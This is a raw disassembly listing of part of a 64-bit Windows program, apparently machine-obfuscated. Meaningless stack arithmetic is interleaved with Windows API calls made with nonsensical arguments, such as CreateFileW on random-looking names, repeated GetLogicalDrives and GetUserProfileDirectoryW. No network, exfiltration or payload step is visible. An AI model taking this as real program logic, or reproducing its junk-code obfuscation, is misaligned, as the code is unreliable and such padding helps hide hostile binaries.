mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x10650]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x8108]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d68], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x292c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe3aa
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x80b4], eax
movzx eax, byte [rsp + 0x579]
mov byte [0x140221d76], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x28dc]
movsx edx, word [rsp + 0x2938]
sub ecx, edx
cmp eax, ecx
jl 0x140021ecb
mov rax, qword [rsp + 0xd2f0]
mov rcx, qword [0x1402113b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10348], rax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x70c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov edx, dword [0x140221d88]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jle 0x140021e8e
mov rax, qword [rsp + 0x10560]
mov rax, qword [rax]
mov rcx, qword [0x140221d90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0x103b0]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x787c], eax
mov rax, qword [rsp + 0x10500]
mov rcx, qword [rsp + 0x103a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10538], rax
lea rcx, [rsp + 0x102e8]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [0x140221d88]
mov rax, qword [rsp + 0x103b0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x10210]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x787c]
call fcn.1401f4cc0
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x80dc], eax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x102f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x291c]
add eax, ecx
mov word [0x1402113c0], ax
movsx eax, byte [0x140211038]
mov rcx, qword [rsp + 0x10568]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56e], al
jmp 0x140021ecb
movzx eax, word [rsp + 0x14c4]
movzx ecx, word [rsp + 0x2708]
sar eax, cl
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
mov dword [rsp + 0x811c], ecx
mov rdx, qword [rsp + 0x10610]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x811c]
shl edx, cl
mov ecx, edx
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x292c]
add eax, ecx
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x10610]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140021f5a
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x2968], ax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
lea rcx, str.OOPXiFvgNQkd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x296c], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x80c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x105a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15dc], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x809c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8118], eax
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8100]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x105e8]
mov rax, qword [rax]
mov qword [rsp + 0x10668], rax
movzx eax, byte [rsp + 0x57c]
movzx ecx, byte [rsp + 0x577]
sar eax, cl
mov byte [rsp + 0x108], al
movzx ecx, word [rsp + 0x2924]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2944], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.K2LecPkorTXopb_tTD75e1mJOEzdxKiL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x10670], rax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402113c0], ax
mov rax, qword [rsp + 0xd638]
mov qword [rsp + 0x10678], rax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1150]
sub eax, ecx
mov word [rsp + 0x2928], ax
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1458], ax
movzx eax, word [rsp + 0x295c]
movzx ecx, word [rsp + 0x2694]
and eax, ecx
movzx ecx, word [rsp + 0x2968]
movzx edx, word [rsp + 0x2930]
sub ecx, edx
cmp eax, ecx
jne 0x1400221b0
mov rax, qword [rsp + 0x10638]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x571], al
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8100]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x105d0]
mov rax, qword [rax]
mov qword [rsp + 0x10680], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x80dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8090], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7fdc], eax
lea rcx, [rsp + 0x23c58]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10240], rax
mov rax, qword [rsp + 0x10438]
movzx eax, byte [rax]
mov byte [rsp + 0x580], al
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0xef38]
mov rcx, qword [rsp + 0xc9c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10440]
mov rdx, qword [rsp + 0xdac0]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x1401f2f24
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fcc], eax
movzx ecx, word [rsp + 0x28ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x105e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe220], rax
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x105f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x577], al
mov rax, qword [rsp + 0x10540]
movzx eax, word [rax]
mov word [rsp + 0x2970], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2694]
sub eax, ecx
mov word [0x1402113c8], ax
mov rcx, qword [rsp + 0x10640]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8120], eax
mov edx, 0x57007a
mov rcx, qword [rsp + 0x105c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x10560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10618]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe258], rax
mov rax, qword [rsp + 0x10520]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe258], rax
lea rdx, [rsp + 0x266b0]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x8010], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x801c], eax
mov rax, qword [rsp + 0x10600]
mov rcx, qword [rsp + 0x10460]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10560]
mov rdx, qword [rsp + 0x10520]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jle 0x14002242e
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x576]
sar eax, cl
mov rcx, qword [rsp + 0x10638]
mov byte [rcx], al
lea rax, [rsp + 0x10688]
mov qword [rsp + 0x20], rax
mov r9d, 0x7a
lea r8, [rsp + 0x105e8]
lea rdx, [rsp + 0x102c0]
mov rcx, qword [rsp + 0x10690]
call qword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [rsp + 0x8124], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x8118]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x733c], eax
mov eax, dword [rsp + 0x8078]
mov ecx, dword [rsp + 0x8114]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7530], eax
movsx eax, byte [rsp + 0x580]
mov rcx, qword [rsp + 0x105c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [rsp + 0x10258]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x10258]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x10258]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x1848]
call fcn.1401f4d00
jmp 0x140022593
mov rax, qword [rsp + 0x105c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10568]
movsx ecx, byte [rcx]
cdq
idiv ecx
movsx ecx, byte [rsp + 0x57f]
mov dword [rsp + 0x8128], ecx
mov rdx, qword [rsp + 0x10410]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x8128]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140022593
lea rax, [rsp + 0x572]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x10400]
mov qword [rsp + 0x20], rax
mov r9d, 0x62
lea r8, [rsp + 0x575]
mov edx, PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0x10698]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x7fd4], eax
mov rax, qword [rsp + 0x105d0]
mov rcx, qword [rsp + 0xe220]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10408], rax
movzx eax, word [rsp + 0x2914]
movzx ecx, word [rsp + 0x2930]
sub eax, ecx
mov word [rsp + 0x2968], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x105f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14021103a], al
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x290c], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fe8], ax
lea rcx, [rsp + 0x10688]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x8090], eax
mov eax, dword [rsp + 0x7f70]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x8078]
mov r8d, dword [rsp + 0x7530]
mov rax, qword [rsp + 0x101d0]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x7530]
call fcn.1401f4cc0
movzx eax, word [rsp + 0x2900]
mov word [rsp + 0x2974], ax
lea rax, [rsp + 0x7f4c]
mov qword [rsp + 0x106a0], rax
movsx eax, byte [rsp + 0x57f]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x56e]
mov rdx, qword [rsp + 0x10568]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140022739
mov rax, qword [rsp + 0x104e8]
mov rcx, qword [rsp + 0x103b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x10210]
mov dword [rcx], eax
mov rax, qword [rsp + 0x105e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10538]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
movzx eax, byte [rsp + 0x578]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2970], ax
mov r8d, 0x45
lea rdx, [rsp + 0x10540]
lea rcx, [rsp + 0x28690]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x802c], eax
movzx eax, word [rsp + 0x15dc]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14021139c], ax
mov rax, qword [rsp + 0x10560]
mov rcx, qword [rsp + 0xcda0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10600]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10460], rax
mov rax, qword [rsp + 0x10600]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10218], rax
movzx eax, word [rsp + 0x2694]
mov rcx, qword [rsp + 0x105a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2930], ax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x573]
add eax, ecx
mov byte [rsp + 0x56b], al
lea rdx, [rsp + 0x106a8]
mov rcx, qword [rsp + 0x10318]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x80f4], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8090]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
and eax, ecx
movzx ecx, word [rsp + 0x2708]
movzx edx, word [rsp + 0x2950]
add ecx, edx
cmp eax, ecx
je 0x140022812
mov rax, qword [rsp + 0x105d0]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov qword [rcx], rax
lea rcx, [rsp + 0x808c]
call qword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x10680]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x10388]
movzx r9d, byte [rax]
movzx r8d, byte [rsp + 0x56b]
mov rax, qword [rsp + 0x105d0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x106a0]
mov ecx, dword [rax]
call fcn.1401f4f00
mov rax, qword [rsp + 0x104b0]
mov rcx, qword [rsp + 0x105e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10400]
mov rdx, qword [rsp + 0x102d8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jne 0x14002299f
mov eax, dword [rsp + 0x8078]
movzx ecx, al
mov eax, dword [rsp + 0x7fcc]
shl eax, cl
mov dword [rsp + 0x70c8], eax
movzx eax, byte [rsp + 0x578]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14021103c], al
mov rax, qword [rsp + 0x10540]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2908], ax
lea r9, [rsp + 0x10208]
mov r8d, 0xeb
mov rdx, qword [rsp + 0x106b0]
mov rcx, qword [rsp + 0x106b8]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x7fd4], eax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x10210]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x103b0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x10210]
mov edx, dword [rax]
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rax]
call fcn.1401f4cc0
movzx eax, byte [rsp + 0x579]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c4]
sub eax, ecx
mov word [rsp + 0x2914], ax
movsx eax, word [rsp + 0x2974]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x80e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x103b0]
mov dword [rcx], eax
mov r8, qword [rsp + 0x10458]
mov rdx, qword [rsp + 0x10458]
mov rcx, qword [rsp + 0x105d8]
call qword [sym.imp.SHELL32.dll_FindExecutableW]
mov qword [rsp + 0x106c0], rax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov qword [rsp + 0x106c8], rax
mov rcx, qword [rsp + 0x10570]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x812c], eax
mov rax, qword [rsp + 0x106a0]
mov rcx, qword [rsp + 0x10208]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [0x1402113b0]
mov rcx, qword [rsp + 0x102a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xea10], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x570]
sub eax, ecx
mov byte [0x14021103f], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2938]
and eax, ecx
mov word [rsp + 0x2960], ax
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2950]
add eax, ecx
mov rcx, qword [rsp + 0x10610]
mov word [rcx], ax
movzx eax, byte [rsp + 0x56c]
mov byte [rsp + 0x581], al
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xd2f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
mov eax, dword [rsp + 0x7fa8]
mov dword [rsp + 0x8130], eax
mov eax, dword [rsp + 0x809c]
movzx ecx, al
mov eax, dword [rsp + 0x8118]
shl eax, cl
mov dword [rsp + 0x8110], eax
xor edx, edx
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
movabs rcx, 0x7488e79e79a20a
div rcx
mov qword [rsp + 0x10538], rax
movzx eax, byte [rsp + 0x19c]
movzx ecx, byte [rsp + 0xc0]
xor eax, ecx
mov byte [rsp + 0x249], al
movsx eax, word [rsp + 0x1fe8]
movsx ecx, word [rsp + 0x1b14]
sar eax, cl
mov word [0x1402113c0], ax
mov rax, qword [rsp + 0x10610]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2950]
sub eax, ecx
mov word [rsp + 0x2968], ax
mov rax, qword [rsp + 0xcf70]
mov qword [rsp + 0x106d0], rax
mov rcx, qword [rsp + 0x102d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x803c], eax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x105c0]
movsx ecx, byte [rcx]
imul eax, ecx
movsx ecx, byte [rsp + 0x56e]
mov rdx, qword [rsp + 0x10410]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x140022cd2
mov rax, qword [rsp + 0x10218]
mov rcx, qword [rsp + 0xd638]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10460], rax
lea rcx, [rsp + 0x24f48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0x10638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57b], al
mov rax, qword [rsp + 0x103a8]
mov qword [rsp + 0x106d8], rax
lea rax, [rsp + 0x80b8]
mov qword [rsp + 0x106e0], rax
mov eax, dword [rsp + 0x80ec]
mov ecx, dword [rsp + 0x70c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x103b0]
mov edx, dword [rsp + 0x7530]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x140022ccd
mov rax, qword [rsp + 0x103b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x80f8], eax
movzx eax, word [rsp + 0x290c]
movzx ecx, word [rsp + 0x2694]
and eax, ecx
mov word [rsp + 0x14c4], ax
movsx eax, word [rsp + 0x2910]
movsx ecx, word [rsp + 0x1a90]
xor eax, ecx
mov word [0x1402113b8], ax
mov rax, qword [rsp + 0x10520]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x105a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10598], rax
mov rax, qword [rsp + 0x10608]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x580]
sar eax, cl
mov byte [rsp + 0x56e], al
lea rdx, [rsp + 0x27ec0]
mov rcx, qword [rsp + 0x106e8]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x8134], eax
movzx ecx, word [rsp + 0x294c]
call fcn.1401f4e90
jmp 0x140022d82
mov eax, dword [rsp + 0x80e0]
mov ecx, dword [rsp + 0x7d50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x104e8]
mov rdx, qword [rsp + 0x10210]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x140022d82
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2928]
shl eax, cl
mov word [rsp + 0x2938], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x293c]
sub eax, ecx
mov word [rsp + 0x2930], ax
mov rax, qword [rsp + 0x106e0]
mov rcx, qword [rsp + 0x10208]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x106a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10538]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10408], rax
call fcn.1401f4c40
mov eax, dword [rsp + 0x8100]
mov ecx, dword [rsp + 0x80e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10600]
mov rcx, qword [rsp + 0x10560]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x10440]
mov rdx, qword [rsp + 0x10520]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jne 0x1401f2e80
mov rax, qword [rsp + 0x10598]
mov rcx, qword [rsp + 0x10678]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd250], rax
mov rcx, qword [rsp + 0x105c8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7fc4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x106f0], rax
movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2914]
sar eax, cl
mov rcx, qword [rsp + 0x105a8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x101f0]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jne 0x1401f2db1
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [0x140221d78]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402113cc], ax
movsx eax, byte [rsp + 0x573]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x580], al
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2950], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x8138], eax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8018], eax
mov rax, qword [rsp + 0x10600]
mov rax, qword [rax]
mov qword [rsp + 0x106f8], rax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0x10408]
mov qword [rsp + 0x10700], rax
mov rax, qword [rsp + 0x106e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x806c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8090], eax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8130]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6934], eax
movzx eax, byte [rsp + 0x574]
mov rcx, qword [rsp + 0x10638]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x105f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x105a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x292c]
sar eax, cl
mov word [0x140221d82], ax
movsx eax, word [rsp + 0x2960]
mov rcx, qword [rsp + 0x10540]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [0x1402113b8]
mov rdx, qword [rsp + 0x103d0]
movsx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
je 0x14002300a
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x105a0], rax
lea r8, [rsp + 0x10258]
mov rdx, qword [rsp + 0x239d0]
mov rcx, qword [rsp + 0x10498]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
mov dword [rsp + 0x80f0], eax
mov eax, dword [rsp + 0x7530]
mov rcx, qword [rsp + 0x10210]
mov qword [rsp + 0x23b70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x23b70]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov rcx, qword [rsp + 0x106e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x106a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x105d0]
mov rcx, qword [0x1402113a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10630]
movzx eax, byte [rax]
